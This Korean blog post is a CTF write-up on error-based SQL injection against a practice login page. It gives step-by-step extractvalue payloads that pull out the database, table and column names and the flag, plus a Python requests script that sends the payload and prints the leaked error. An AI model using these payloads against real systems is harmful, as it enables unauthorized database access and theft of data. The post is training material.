IT 성장기 (교육이수)/CTF 문제풀이
[모의해킹 CTF] Error Based SQLi3
eezy
2024. 6. 3. 23:28
모의해킹 스터디 중 CTF 문제에 대한 풀이 과정을 서술하며, 문제에 도달하는 과정을 이해하기 위한 목적으로 작성.
Error Based SQLi3
목차
문제 : id - normaltic / pw - 1234 / flag를 회수하라
SQL Injection Point 찾기
SQL Injection Point 확인하기
아래 구문대로 id의 입력값을 대입해보고, 결과를 확인한다. -> AND 조건 사용이 가능하다
//id란의 입력값
normaltic’ and ‘1’=‘1 <결과 : 로그인 성공>
normaltic’ or ‘1’=‘1 <결과 : 로그인 실패>
일부러 조건을 틀리게 입력하면, 아래 창이 확인되며, 로그인페이지에 머무른다.
id
normaltic' and ('1'='2') and '1'='1
Order by 조건을 시도해본다
1, 2까지 로그인이 성공하며, 3에서 아래와 같은 Error 문구가 출력된다.
id
normaltic' order by 3#
extractvalue 문이 가능한지 확인해본다.
id
normaltic’ and extractvalue(‘1’, concat(0x3a, (select ’normaltic’))) and ‘1’=‘1
Data 추출 코드
입력값은 id 만 변화하며, pass는 그대로 1234를 활용한다. 아래에는 단계별로 id에 넣은 입력값만 설명한다.
단계별로 limit 1 offset 0 조건을 걸어주는 이유는, 위의 error 메세지에는 1개의 데이터만 가져올 수 있기 때문이다.
1. 데이터베이스 이름 추출
'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1"
2. Table 명 추출
'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2' limit 1 offset 0))) and '1'='1"
3. Column 명 추출
'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flag_table' limit 1 offset 0))) and '1'='1"
4. Data 추출
'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select flag from flag_table limit 1 offset 0))) and '1'='1"
Python 코드
데이터 출력 단계에 따라, UserId 값을 변경하여 원하는 데이터를 출력한다.
사실, 이 정도 단계는 코드를 작성하는 것보다 직접 해보는 것이 더 빠르다.
import requests
import re
print("[*] Sql Injection3 ")
url = 'http://ctf.segfaulthub.com:7777/sqli_2/login.php'
headers = {
'Content-Type': 'application/x-www-form-urlencoded', #POST로 가져온 데이터는 url인코딩 되어 처리된다.
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36',
}
data = {
'UserId': "normaltic' and extractvalue('1', concat(0x3a, (select flag from flag_table limit 1 offset 0))) and '1'='1",
'Password': '1234',
'Submit': 'Login'
}
session = requests.Session()
response = requests.post(url, headers=headers, data=data) #데이터를 POST 방식으로 전송한다
if response.status_code == 200: #응답 코드는 200
match = re.search(r'Could not update data:.*', response.text, re.DOTALL)
if match:
print(match.group(0)) #userid에서 오류를 발생시켜 얻은 데이터를 추출한다.
else:
match = re.search (r'User Name :.*', response.text) #만약 로그인에 성공한다면, 로그인된 id 명을 추출한다.
if match:
print(match.group(0))
else:
print("Required text not found in the response.") #Error 발생되지 않으며 로그인도 실패한 경우, 문구를 출력한다.
else:
print(f"Failed to get response: {response.status_code}") #응답 코드가 200이 아닌경우, 받은 응답 코드를 출력한다.
파이썬 실행 시, 아래 양식으로 데이터가 출력된다
1. 로그인 성공
[*] Sql Injection3
User Name : normaltic</p>
2. Error 값 출력
[*] Sql Injection3
Could not update data: XPATH syntax error: ':sqli_2'